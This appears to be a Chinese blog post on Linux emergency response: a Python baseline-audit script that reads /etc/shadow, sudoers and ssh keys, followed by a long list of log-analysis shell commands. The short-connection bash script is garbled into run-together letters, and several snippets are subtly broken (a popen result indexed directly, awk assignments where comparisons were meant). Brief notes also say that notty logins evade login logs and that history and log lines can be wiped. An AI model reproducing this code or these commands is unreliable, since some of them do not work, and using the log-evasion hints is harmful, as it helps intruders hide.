self.Result.append(result)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14

2.2 口令更改最少时间间隔

def check_passmin(self):
result= {"name":"口令更改最少时间间隔", "level":"middle","service":[""],"user":["root"],"filename":["/etc/login.defs"],"port":[""],"src_port":[""],"dest_port":[""],"pid":[""],"protocol":[""],"check":True}
try:
shell_process = os.popen(self.passmin).read()
if int(shell_process)&gt;=6:
result["msg"]="口令更改最小时间间隔为%s天,符合要求" %shell_process
else:
result["check"]=False
result["msg"]="口令更改最小时间间隔为%s天,不符合要求,建议设置大于等于6天" %shell_process
except Exception as e:
result["error"]=str(e)
finally:
self.Result.append(result)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13

2.3 口令最小长度

def check_passlen(self):
result= {"name":"口令最小长度", "level":"middle","service":[""],"user":["root"],"filename":["/etc/login.defs"],"port":[""],"src_port":[""],"dest_port":[""],"pid":[""],"protocol":[""],"check":True}
try:
shell_process = os.popen(self.passlen).read()
if int(shell_process)&gt;=8:
result["msg"]="口令最小长度为%s,符合要求" %shell_process
else:
result["check"]=False
result["msg"]="令最小长度为%s,不符合要求,建议设置最小长度大于等于8" %shell_process
except Exception as e:
result["error"]=str(e)
finally:
self.Result.append(result)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13

2.4 检查空弱口令

def check_empty(self):
result= {"name":"检查空弱口令", "level":"critical","service":[""],"user":["root"],"filename":["/etc/shadow"],"port":[""],"src_port":[""],"dest_port":[""],"pid":[""],"protocol":[""],"check":True}
try:
shell_process = os.popen("awk -F: 'length($2)==0 {print $1}' /etc/shadow 2&gt;/dev/null").read().splitlines()
if not shell_process:
result["msg"]="不存在空弱口令账户"
else:
result["check"]=False
result["msg"]="存在空弱口令账户%s"%str(shell_process)
except Exception as e:
result["error"]=str(e)
finally:
self.Result.append(result)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13

2.5 检查sudo权限异常用户

def check_sudo(self):
result= {"name":"检查sudo权限异常用户", "level":"critical","service":[""],"user":["root"],"filename":["/etc/sudoers"],"port":[""],"src_port":[""],"dest_port":[""],"pid":[""],"protocol":[""],"check":True}
try:
shell_process = os.popen("cat /etc/sudoers 2&gt;/dev/null |grep -v '#'|grep 'ALL=(ALL)'|awk '{print $1}'").read().splitlines()
userinfo=[]
for user in shell_process:
if user.replace("\n", "") != 'root':
userinfo.append(user)
if not userinfo:
result["msg"]="不存在sduo特权异常用户"
else:
result["check"]=False
result["msg"]="存在sudo权限异常用户%s"%str(userinfo)
except Exception as e:
result["error"]=str(e)
finally:
self.Result.append(result)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17

2.6 检查特权用户组

def check_gid(self):
result= {"name":"检查特权用户组", "level":"critical","service":[""],"user":["root"],"filename":["/etc/passwd"],"port":[""],"src_port":[""],"dest_port":[""],"pid":[""],"protocol":[""],"check":True}
try:
shell_process = os.popen("cat /etc/passwd | grep '/bin/bash' | awk -F: '$4==0 {print $1}' 2&gt;/dev/null").read().splitlines()
userinfo=[]
for user in shell_process:
if user.replace("\n", "") != 'root':
userinfo.append(user)
if not userinfo:
result["msg"]="不存在特权组用户"
else:
result["check"]=False
result["msg"]="存在特权组用户%s"%str(userinfo)
except Exception as e:
result["error"]=str(e)
finally:
self.Result.append(result)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17

2.7 口令过期警告时间天数

def check_passage(self):
result= {"name":"口令过期警告时间天数", "level":"info","service":[""],"user":["root"],"filename":["/etc/login.defs"],"port":[""],"src_port":[""],"dest_port":[""],"pid":[""],"protocol":[""],"check":True}
try:
shell_process = os.popen(self.passage).read()
if int(shell_process)&gt;=30:
result["msg"]="口令过期警告时间天数为%s,符合要求" %shell_process
else:
result["check"]=False
result["msg"]="口令过期警告时间天数为%s,不符合要求,建议设置大于等于30并小于口令生存周期" %shell_process
except Exception as e:
result["error"]=str(e)
finally:
self.Result.append(result)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13

2.8 找非root账号UID为0的账号

def check_uid(self):
result= {"name":"查找非root账号UID为0的账号", "level":"critical","service":["ssh","sshd"],"user":["root"],"filename":["/etc/passwd"],"port":[""],"src_port":[""],"dest_port":[""],"pid":[""],"protocol":[""],"check":True}
try:
shell_process = os.popen(self.uid).read().splitlines()
if "0" not in shell_process:
result["msg"]="不存在非root账号的账号UID为0,符合要求"
else:
result["check"]=False
result["msg"]="存在非root账号的账号UID为0,不符合要求"
except Exception as e:
result["error"]=str(e)
finally:
self.Result.append(result)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13

2.9 检查是否允许root账号登录

def check_sshdconfig(self):
result= {"name":"检查是否允许root账号登录", "level":"high","service":["ssh","sshd"],"user":["root"],"filename":["/etc/ssh/sshd_config"],"port":["22"],"src_port":[""],"dest_port":[""],"pid":[""],"protocol":[""],"check":True}
try:
shell_process = os.popen(self.sshd_config).read().splitlines()
if shell_process:
result["msg"]="root不能程登录符合要求"
else:
result["check"]=False
result["msg"]="root用户可以远程登录不符合要求"
except Exception as e:
result["error"]=str(e)
finally:
self.Result.append(result)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13

2.10 检查是否开启日志审计auditd

def check_auditd(self):
result= {"name":"检查是否开启日志审计auditd", "level":"high","service":["auditd"],"user":["root"],"filename":["/etc/ssh/sshd_config"],"port":["22"],"src_port":[""],"dest_port":[""],"pid":[""],"protocol":[""],"check":True}
try:
shell_process = os.popen("service auditd status").read().splitlines()
for info in shell_process:
if "Active: active (running)" in info:
result["msg"]="开启了日志审计auditd"
result["check"]=True
break
else:
result["check"]=False
result["msg"]="没有开启日志审计auditd"
except Exception as e:
result["error"]=str(e)
finally:
self.Result.append(result)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16

2.11 历史命令保存的最大条数检测

def check_bash_history(self):
result= {"name":"历史命令保存的最大条数检测", "level":"high","service":[""],"user":["root"],"filename":["/etc/profile"],"port":[""],"src_port":[""],"dest_port":[""],"pid":[""],"protocol":[""],"check":True}
try:
shell_process = os.popen(self.bash_histrory).read().splitlines()[0]
if int (shell_process)&lt;=500:
result["msg"]="历史保存的最大命令条数符合要求"
else:
result["check"]=False
result["msg"]="历史保存的最大命令条数超过500条不符合要求"
except Exception as e:
result["error"]=str(e)
finally:
self.Result.append(result)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13

2.12检查是否开启telnet

def check_open_Telnet(self):
result= {"name":"检查是否开启telnet", "level":"high","service":["telnet"],"user":["root"],"filename":["/etc/xinetd.d/telnet"],"port":[""],"src_port":[""],"dest_port":[""],"pid":[""],"protocol":[""],"check":True}
try:
shell_process=os.popen("cat /etc/xinetd.d/telnet | grep disable | awk '{print $3}'")[0]
if shell_process!="yes":
result["msg"]="没有开启Telnet服务"
else:
result["check"]=False
result["msg"]="开启了telnet服务"
except Exception as e:
result["error"]=str(e)
finally:
self.Result.append(result)

## 2.13 查是否开启nfs服务
def check_open_nfs(self):
result= {"name":"检查是否开启nfs服务", "level":"high","service":["NFS"],"user":["root"],"filename":[""],"port":[""],"src_port":[""],"dest_port":[""],"pid":[""],"protocol":[""],"check":True}
try:
shell_process=os.popen("chkconfig --list nfs |grep on").read().splitlines()
if not shell_process:
result["msg"]="没有开启nfs服务"
else:
result["check"]=False
result["msg"]="开启了nfs服务"
except Exception as e:
result["error"]=str(e)
finally:
self.Result.append(result)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28

2.14 检查重要系统文件权限

def check_file_analysis(self):
result= {"name":"检查重要系统文件权限", "level":"high","service":[""],"user":["root"],"filename":['/etc/passwd', '/etc/shadow','/etc/group','/etc/securetty','/etc/services','/etc/xinetd.conf','/etc/grub.conf','/etc/lilo.conf'],"port":[""],"src_port":[""],"dest_port":[""],"pid":[""],"protocol":[""],"check":True}
try:
files = ['/etc/passwd', '/etc/shadow','/etc/group','/etc/securetty','/etc/services','/etc/xinetd.conf','/etc/grub.conf','/etc/lilo.conf']
file_info=[]
for file in files:
if not os.path.exists(file): continue
shell_process = os.popen("ls -l " + file + " 2&gt;/dev/null |awk '{print $1}'").read().splitlines()
if len(shell_process) != 1: continue
if file == '/etc/passwd' and shell_process[0] != '-rw-r--r--':
info= "/etc/passwd 文件权限变更",shell_process[0]
file_info.append(info)
elif file == '/etc/shadow' and shell_process[0] != '----------':
info="/etc/shadow 文件权限变更",shell_process[0]
file_info.append(info)
elif file == '/etc/group' and shell_process[0] != '-rw-r--r--':
info= "/etc/group 文件权限变更%s",shell_process[0]
file_info.append(info)
elif file == '/etc/securetty' and shell_process[0] != '-rw-------':
info= "/etc/securetty 文件权限变更",shell_process[0]
file_info.append(info)
elif file == '/etc/services' and shell_process[0] != '-rw-------':
info= "/etc/services 文件权限变更",shell_process[0]
file_info.append(info)
elif file == '/etc/xinetd.conf' and shell_process[0] != '-rw-------':
info= "/etc/xinetd.conf 文件权限变更",shell_process[0]
file_info.append(info)
elif file == '/etc/grub.conf' and shell_process[0] != '-rw-------':
info= "/etc/grub.conf 文件权限变更",shell_process[0]
file_info.append(info)
elif file == '/etc/lilo.conf' and shell_process[0] != '-rw-------':
info="/etc/lilo.conf 文件权限变更",shell_process[0]
file_info.append(info)
if not file_info:
result["msg"]="重要系统文件权限没有变更。"
else:
result["check"]=False
result["msg"]="文件权限发生变更%s"%str(file_info)
except Exception as e:
result["error"]=str(e)
finally:
self.Result.append(result)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42

2.15 检查免密码登录

def check_authorized_keys(self):
result= {"name":"检查ssh免密码登录", "level":"critical","service":["sshd","ssh"],"user":["root"],"filename":[".ssh/authorized_keys"],"port":[""],"src_port":[""],"dest_port":[""],"pid":[""],"protocol":[""],"check":True}
try:
for dir in os.listdir('/home/'):
self.file_analysis( os.path.join('%s%s%s' % ('/home/', dir, '/.ssh/authorized_keys')),dir)
self.file_analysis('/root/.ssh/authorized_keys', 'root')
if not self.ssh_authorized_user:
result["msg"]="不存在免密码登录"
else:
result["check"]=False
result["msg"]="存在免密码登录%s"%str(self.ssh_authorized_user)
except Exception as e:
result["error"]=str(e)
finally:
self.Result.append(result)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15

2.16 分析authorized_keys文件

def file_analysis(self, file, user):
try:
if os.path.exists(file):
shell_process = os.popen("cat " + file + " 2&gt;/dev/null |awk '{print $3}'").read().splitlines()
## 2.17 print (shell_process)
if shell_process:
self.ssh_authorized_user[file]=shell_process
#print (self.ssh_authorized_user)
return
except:
return

def run(self):
self.check_passmax()
self.check_passmin()
self.check_passlen()
self.check_passage()
self.check_uid()
self.check_sshdconfig()
self.check_auditd()
self.check_bash_history()
self.check_open_Telnet()
self.check_empty()
self.check_gid()
self.check_sudo()
self.check_open_nfs()
self.check_file_analysis()
self.check_authorized_keys()

if __name__ == '__main__':
obj=Linux_Check()
obj.run()
print (json.dumps(obj.Result,encoding='UTF-8', ensure_ascii=False))
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
 

注意事项

  • 如何编写一个速度快,扫描占用资源少,对系统没有危害的的扫描脚本呢?

首先要注意以下几件事:

  1. 只需读文件,不要做修改文件操作
  2. 尽量不要用多层递归,循环。
  3. 异常处理。
  4. 输出的格式化。
  5. 脚本运行权限最好不要用root
  6. 使用系统自带的命令或者工具,兼容各Linux发行版本。

捕捉短连接脚本

#!/bin/bash ip=127.0.0.1 i=1 while : do tmp=netstat -anplt|grep $ip|awk -F '[/]' '{print $1}'|awk '{print $7}'

#echo t m p i f t e s t − z " tmp if test -z " tmpiftestz"tmp"
then
​ ((i=i+1))
else
​ for pid in t m p ; d o ​ e c h o " P I D : " tmp; do ​ echo "PID: " tmp;doecho"PID:"{pid}
​ result=ls -lh /proc/ p i d ∣ g r e p e x e ​ e c h o " P r o c e s s : " pid|grep exe ​ echo "Process: " pidgrepexeecho"Process:"{result}
​ kill -9 p i d ​ d o n e ​ b r e a k f i d o n e e c h o " T o t a l n u m b e r o f t i m e s : " pid ​ done ​ break fi done echo "Total number of times: " piddonebreakfidoneecho"Totalnumberoftimes:"{i}


0x03 应急命令

日志默认存放位置:/var/log/
查看日志配置情况:more /etc/rsyslog.conf

在这里插入图片描述

比较重要的几个日志:

登录失败记录:/var/log/btmp //lastb 最后一次登录:/var/log/lastlog //lastlog 登录成功记录: /var/log/wtmp //last 登录日志记录:/var/log/secure 目前登录用户信息: /var/run/utmp //w、who、users 历史命令记录:history 仅清理当前用户: history -c
SSH登录操作相关的日志有以下几个位置:
/var/log/btmp,记录错误的登录尝试,查询命令:lastb
/var/log/auth.log,记录认证成功的用户
/var/log/secure,记录与安全相关的日志信息
/var/log/lastlog,记录用户上次登录信息
/var/log/wtmp,记录当前和曾经登入系统的用户信息,查询命令:last
/var/run/utmp,记录当前正在登录系统的用户信息,查询命令:w
~/.bash_history,记录从最开始至上一次登录所执行过的命令,查询命令:history无法直接查看的需要通过:
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

strings /var/log/wtmp
来查看内容
正常日志溯源的时候 执行

ps -aux|grep sshd
  • 1
  • 正常登陆 putty
sshd:root@pts/0
  • 使用sftp、rsyn、scp等协议进行登录
sshd:root@notty
  • 使用notty,能够绕过以下日志:
/var/log/lastlog,记录用户上次登录信息
/var/log/wtmp,记录当前和曾经登入系统的用户信息,查询命令:last
/var/run/utmp,记录当前正在登录系统的用户信息,查询命令:w
~/.bash_history,记录从最开始至上一次登录所执行过的命令,查询命令:history
  • 1
  • 2
  • 3
  • 4

1.查看文件的内容

  • cat:
    优点:当日志文件比较小时使用;
    缺点:但对于较大的日志文件,用此命令打开会占用过多的系统资源,影响系统对外的服务;
    cat命令一旦执行后,便无法再进行交互和控制
    ● cat common.log
    ● cat -n common.log #显示行号

2.分页显示文件
more:
● more命令查看文件内容,按enter键显示下一行;空格键显示下一页;f键显示下一屏;b键显示上一屏
● more common.log

less:
比more的功能更加丰富,可以查找内容并且高亮显示
● less common.log
/refer #查找字符串refer,并且高亮显示

3.显示文件尾
tail:
能够看到文件的最后几行,追加写入的,新写入的内容处于文件的末尾位置
● tail -n2 common.log #-n参数后面跟的数字表示显示文件最后2行
● tail -n200 -f common.log #-f表示tail程序不退出,持续显示文件新增加的行

4.显示文件头
head:
与tail相同,用于显示文件头
● head -n100 common.log

5.内容排序
sort:
按照字符序排列,-n参数,按照数字顺序排列;-r参数,按照逆序排列;-k指定排序的列;-t指定列分割符
● sort -n -r common.log #将common.log中,按照数字、倒序排列
● sort -t ‘ ‘ -k 3 -n -r common.log

6.字符统计
wc:
统计指定文件中的字符数、行数、字数,并输出统计结果。
● wc -l common.log #统计多少行
● wc -c common.log #统计多少字节
● wc -L common.log #统计最长的行的长度
● wc -w common.log #统计包含多少个单词

7.查看重复出现的行
uniq:
显示文件中行重复的次数,或者显示仅出现一次的行,以及仅仅显示重复出现的行;并且uniq的去重针对的只是连续的两行,因此常常与sort结合起来使用
● sort common.log | uniq -c #-c参数用来在每一行前面加上改行出现的次数
● sort common.log | uniq -c -u #-u参数,只显示出现一次的行
● sort common.log | uniq -c -d #-d,展示重复出现的行

8.字符串查找
grep:
查找文件中符合条件的字符串;grep的查找支持正则表达式
● grep refer common.log #在common.log中查找‘refer’字符串并打印出来
● grep -c refer common.log #-c,显示查找到的行数
● grep ‘refer.*legend’ common.log #查找refer开头,legend结尾的字符串

9.文件查找
find:
知道文件名称,不知掉文件路径,查找文件路径
● find /home/user/ common.log #在home/user下找到common.log的路径
● find /home/user -name “*.py” #在home/user下找到.py结尾的文件
● find . -print #打印当前目录的所有文件

whereis:
定位文件系统中可执行的文件的位置
● whereis test.py

10.表达式求值
expr:
expr 10 \* 3 #10*3,* 需要转义
● expr 10 % 3
● expr 10 + 10
● expr index “www.baidu.com” baidu
● expr length “hello world"

11.归档文件
tar:
适用于需要将多个日志文件从服务器拉到本地,以及从本地将文件上传到服务器
● tar -cf log.tar logs_today logs_history #将logs_today和logs_history两个文件夹一起打包为log.tar的文件,-c表示新生成的文件,-f指定文件名
● tar -tf log.tar #-t列出包中文件的名称
● tar -xf log.tar #解压

12.URL访问工具
curl:
支持HTTP\HTTPS\FTP\FTPS\Telnet等多种协议,常被用来在命令行下抓取网页和监控web服务器状态
● curl www.baidu.com #发起网页请求
● curl -i www.baidu.com #-i返回带header的文档
● curl -I www.baidu.com # -I只返回页面的header信息

ls -lrt,显示一下日志有多少条
  • 1

显示以前登录过的用户信息,last指令会搜索/var/log/wtmp文件(或者是经过-f选项指定的文件),然后列出文件中所有的用户信息
第一列:用户名
第二列:终端位置
pts/0: 意味着从SSH或TELNET的远程连接用户
tty1: 意味着直接连接到计算机或者本地连接用户
第三列:登录IP或者内核
0.0或者什么都没有的话:意味着用户通过本地终端连接
重启活动,会显示内核版本
第四列:开始时间
第五列:结束时间或者状态

still log in: 还在登录
down: 直到正常关机
crash: 直到强制关机
  • 1
  • 2
  • 3

第六列:持续时间
就是最后括号里面的
查看系统每次关机(或重启)的时间和日期
las
● last |tail -n 10
查看指定文件日志
● last -f wtmp -F
每次关机时间
● last -x shutdown
每次重启时间
● last -x reboot
查看系统运行时间
● uptime
查看是谁重启和关闭机器,这里需要启动psacct 服务器,才能有显示
● service psacct start
● lastcomm root

查看日志常用命令

  • tail:

-n 是显示行号;相当于nl命令;例子如下:

tail -100f test.log      实时监控100行日志

tail  -n  10  test.log   查询日志尾部最后10行的日志;

tail -n +10 test.log    查询10行之后的所有日志;
  • 1
  • 2
  • 3
  • 4
  • 5
  • head:

跟tail是相反的,tail是看后多少行日志;例子如下:

head -n 10  test.log   查询日志文件中的头10行日志;

head -n -10  test.log   查询日志文件除了最后10行的其他所有日志;
  • 1
  • 2
  • 3
  • cat:

tac是倒序查看,是cat单词反写;例子如下:

cat -n test.log |grep "debug"   查询关键字的日志
  • 1

0x03 命令汇总

  • 查看系统中的用户(root权限)
cat /etc/passwd | grep /bin/bash
  • 1
  • 登录用户和登录时候用的IP
who /var/log/wtmp &gt; /root/name.txt
  • 1
  • 查询历史命令
history
  • 1
  • 在目录/etc中查找文件init
find /etc -name init
  • 1
  • 从日志中将IP 筛选出来
awk '{print $1}' xxx.log &gt;ip.txt
  • 1
  • IP, URL 抽取
tail -f /www/logs/access.2019-02-23.log | grep '/test.html' | awk '{print $1" "$7}'
  • 1
  • 查看Nginx错误日志502 503 504报错
awk '$9 = 502 { print $0 }' access.log
awk '$9 = 503 { print $0 }' access.log
awk '$9 = 504 { print $0 }' access.log
  • 1
  • 2
  • 3
  • 统计404的连接
awk '($9 ~/404/)' access.log | awk '{print $9,$7}' | sort# 统计http status.
cat access.log |awk '{counts[$(9)]+=1}; END {for(code in counts) print code, counts[code]}'
cat access.log |awk '{print $9}'|sort|uniq -c|sort -rn
  • 1
  • 2
  • 3
  • 按行号查看—过滤出关键字附近的日志
    1)cat -n test.log |grep “debug” 得到关键日志的行号
    2)通常查找出错误日志 cat error.log | grep ‘nick’ , 这时候我们还有个需求就是输出当前这个日志的前后几行:
cat error.log | grep -B 5 'nick' 显示nick及前5行
cat error.log | grep -A 5 'nick' 显示nick及后5行
cat error.log | grep -C 5 'nick' 显示file文件里匹配nick字串那行以及上下5行
cat error.log | grep -n -B10 -A10 5 'nick' 显示file文件里匹配nick字串前后10行
  • 1
  • 2
  • 3
  • 4
  • 选取日志中特定范围进行分析
    1)cat -n test.log |tail -n +1000|head -n 20 从第1000行开始,显示20行
    tail -n +1000表示查询1000行之后的日志
    head -n 20 则表示在前面的查询结果里再查前20条记录
    2)cat catalina.out | head -n 1400| tail -n +1350 显示1350行到1400行 (实现原理都差不多,就是通过语法糖)
    (1)按日期截取 :一般在日志系统中都会记录打印日志的时间,通常我们非常需要查找指定时间端的日志:
    sed -n '/2014-12-17 16:17:20/,/2014-12-17 16:17:36/p' test.log
    特别说明:该命令中的两个日期值必须是日志文件中包含的值,否则该命令无效.; 先 grep '2014-12-17 16:17:20' test.log 来确定日志中是否有该 时间点
    (2)按行数截取
sed -n ‘10000,20000p’ test.log
sed -i '/关键词/d' catalina.out 删除包含关键词的行
  • 1
  • 2

日志内容特别多,打印在屏幕上不方便查看
(1)使用more和less命令,
如:cat -n test.log |grep "debug" |more 这样就分页打印了,通过点击空格键翻页
(2)使用 &gt;xxx.txt 将其保存到文件中,到时可以拉下这个文件分析
如:cat -n test.log |grep "debug" &gt;debug.txt

  • 每秒并发:
watch "awk '{if($9~/200|30|404/)COUNT[$4]++}END{for( a in COUNT) print a,COUNT[a]}' log_file|sort -k 2 -nr|head -n10"# 带宽统计
cat apache.log |awk '{if($7~/GET/) count++}END{print "client_request="count}'
cat apache.log |awk '{BYTE+=$11}END{print "client_kbyte_out="BYTE/1024"KB"}'
  • 1
  • 2
  • 3
  • 将IP 去重
sort ip.txt |uniq -c
  • 1
  • 收集日志中的IP
grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c | sort -nr
  • 1
  • 查看当天有多少个IP访问
awk '{print $1}' log_file|sort|uniq|wc -l
  • 1
  • 根据访问IP统计UV(独立访客)
awk '{print $1}' access.log|sort | uniq -c |wc -l
  • 1
  • IP 统计
grep '23/May/2019' /www/logs/access.2019-02-23.log | awk '{print $1}' | awk -F'.' '{print $1"."$2"."$3"."$4}' | sort | uniq -c | sort -r -n | head -n 10
  • 1
  • 统计网段
cat /www/logs/access.2019-02-23.log | awk '{print $1}' | awk -F'.' '{print $1"."$2"."$3".0"}' | sort | uniq -c | sort -r -n | head -n 200
  • 1
  • 统计IP和出现过的次数
cat file | awk -F " " '{print $1}' | awk '{cnt[$0]++}END{for(i in cnt){print i,cnt[i]}}'
  • 1
  • 统计IP和出现过的次数
cat file | awk -F " " '{print $1}' | awk '{cnt[$0]++}END{for(i in cnt){print i,cnt[i]}}'
  • 1
  • 统计时间分布和比例
cat file | awk '{print $(NF-1)}'|awk ' {print int($0)}' |awk '{cnt[$0]++;total++}END {for(i in cnt) {print i"~"i+1,cnt[i],cnt[i]/total*100"%"}}' | sort -n
  • 1
print简单一点,方便理解
print i,cnt[i],cnt[i]/total
printf("%d~%d %d %f%\n",i,i+1,cnt[i],cnt[i]/total)
  • 1
  • 2
  • 3

· int( ( N F − 1 ) ) 对数组进行取整 ⋅ 四舍五入可以用 i n t ( (NF-1))对数组进行取整 · 四舍五入可以用 int( (NF1))对数组进行取整四舍五入可以用int((NF-1)+0.5)
· sort-n结果按数字排序
· print和 printf可任意选取使用

  • 统计每小时处理时间的平均值
cat file | awk '{print $NF, $4}'| awk -F"[ :]" '{print $1,$3}' | awk ' { sum[$2]+=$1; cnt[$2]++} END { for(i in sum) { print i, sum[i]/cnt[i] }}' | sort -n
  • 1

· -F"[ :]"指用空格或者冒号作为分隔符
· 由于一次切割不容易获取到想要的字符串,故多做几次切割
· 用两个数组用于分小时统计

  • 统计域名
cat /www/logs/access.2019-02-23.log |awk '{print $2}'|sort|uniq -c|sort -rn|more
  • 1
  • HTTP 状态
cat /www/logs/access.2019-02-23.log |awk '{print $9}'|sort|uniq -c|sort -rn|more
  • 1
  • 文件流量统计
cat /www/logs/access.2019-02-23.log |awk '{sum[$7]+=$10}END{for(i in sum){print sum[i],i}}'|sort -rn|more
grep ' 200 ' /www/logs/access.2019-02-23.log |awk '{sum[$7]+=$10}END{for(i in sum){print sum[i],i}}'|sort -rn|more
  • 1
  • 2
  • URL访问量统计
cat /www/logs/access.2019-02-23.log | awk '{print $7}' | egrep '\?|&amp;' | sort | uniq -c | sort -rn | more
cat /www/logs/access.2019-02-23.log |awk '{print $7}'|sort|uniq -c|sort -rn|more
  • 1
  • 2
  • 统计访问URL统计PV(访问量)
awk '{print $7}' access.log|wc -l
  • 1
  • 查出运行速度最慢的脚本
grep -v 0$ /www/logs/access.2019-02-23.log | awk -F '\" ' '{print $4" " $1}' web.log | awk '{print $1" "$8}' | sort -n -k 1 -r | uniq &gt; /tmp/slow_url.txt
  • 1
  • 统计平均响应时间
cat file | awk '{a+=$(NF-1);b++}END{print a/b}'
  • 1
  • 通过子域名访问次数,依据referer来计算,稍有不准
cat access.log | awk '{print $11}' | sed -e ' s/http:\/\///'
  • 1
  • 当天ip连接数最高的ip都在干些什么:
cat access.log | grep "10.0.21.17" | awk '{print $8}' | sort | uniq -c | sort -nr | head -n 10
  • 1
  • 列出当天访问次数最多的IP命令
cut -d- -f 1 log_file|uniq -c | sort -rn | head -20
  • 1
  • 小时单位里ip连接数最多的10个时段
awk -vFS="[:]" '{gsub("-.*","",$1);num[$2" "$1]++}END{for(i in num)print i,num[i]}' log_file | sort -n -k 3 -r | head -10
  • 1
  • 找出访问次数最多的几个分钟
awk '{print $1}' access.log | grep "20/Mar/2011" |cut -c 14-18|sort|uniq -c|sort -nr|head
  • 1
  • 取5分钟日志
if [ $DATE_MINUTE != $DATE_END_MINUTE ] ;then #则判断开始时间戳与结束时间戳是否相等START_LINE=`sed -n "/$DATE_MINUTE/=" $APACHE_LOG|head -n1` #如果不相等,则取出开始时间戳的行号,与结束时间戳的行号
  • 1
  • 获取每分钟的请求数量并输出成CSV文件
cat access.log | awk '{print substr($4,14,5)}' | uniq -c | awk '{print $2","$1}' &gt; access.csv
  • 1
  • 查看每一个IP访问了多少个页面
awk '{++S[$1]} END {for (a in S) print a,S[a]}' log_file
  • 1
  • 查看访问最频繁的前10个IP
awk '{print $1}' access.log | sort -n |uniq -c | sort -rn | head -n 10
  • 1
  • 找出某天访问次数最多的10个IP
cat /tmp/access.log | grep "20/Mar/2011" |awk '{print $3}'|sort |uniq -c|sort -nr|head
  • 1
  • 查看访问最频的页面的前10个IP
awk '{print $7}' access.log | sort |uniq -c | sort -rn | head -n 10
  • 1
  • 统计访问量前10的IP
awk '{a[$1]++}END{for (j in a) print a[j],j}' /var/log/nginx/access.log|sort -nr|head -10
  • 1
  • 获取访问最高的10个IP地址
cat linewow-access.log|awk '{print $1}'|sort|uniq -c|sort -nr|head -10
  • 1
  • 获取访问最高的10个IP地址,同时也可以按时间段查询日志时间段的情况
cat log_file | egrep '15/Aug/2015|16/Aug/2015' |awk '{print $1}'|sort|uniq -c|sort -nr|head -10
  • 1
  • 获取最耗时的请求时间、url、耗时的前10名,可以修改后面的数字获取更多,不加则获取全部
cat access.log | awk '{print $4,$7,$NF}' | awk -F '"' '{print $1,$2,$3}' | sort -k3 -rn | head -10
  • 1
  • 每秒请求量统计,统计每秒的请求数,前100的时间点(精确到秒)
awk '{print $4}' access.log |cut -c 14-21|sort|uniq -c|sort -nr|head -n 100
  • 1
  • 每分钟请求量统计,统计每分钟的请求数,前100的时间点(精确到分钟)
awk '{print $4}' access.log |cut -c 14-18|sort|uniq -c|sort -nr|head -n 100
  • 1
  • 每小时请求量统计,统计每小时的请求数,前100的时间点(精确到小时)
awk '{print $4}' access.log |cut -c 14-15|sort|uniq -c|sort -nr|head -n 100
  • 1
  • 查看访问100次以上的IP
awk '{print $1}' access.log | sort -n |uniq -c |awk '{if($1 &gt;100) print $0}'|sort -rn
  • 1
  • 查看页面访问次数超过100次的页面
cat access.log | cut -d ' ' -f 7 | sort |uniq -c | awk '{if ($1 &gt; 100) print $0}' | less
  • 1
  • 查看最近1000条访问量最高的页面的记录
tail -1000 access.log |awk '{print $7}'|sort|uniq -c|sort -nr|less
  • 1
  • 查看访问最频不包含php页面的前100个IP
grep -v ".php" access.log | awk '{print $7}' | sort |uniq -c | sort -rn | head -n 100
  • 1
  • 查看某一个页面被访问的次数
grep "/index.php" log_file | wc -l
  • 1
  • 查看某一个IP访问了哪些页面
grep ^111.111.111.111 log_file| awk '{print $1,$7}'
  • 1
  • 将每个IP访问的页面数进行从小到大排序
awk '{++S[$1]} END {for (a in S) print S[a],a}' log_file | sort -n
  • 1
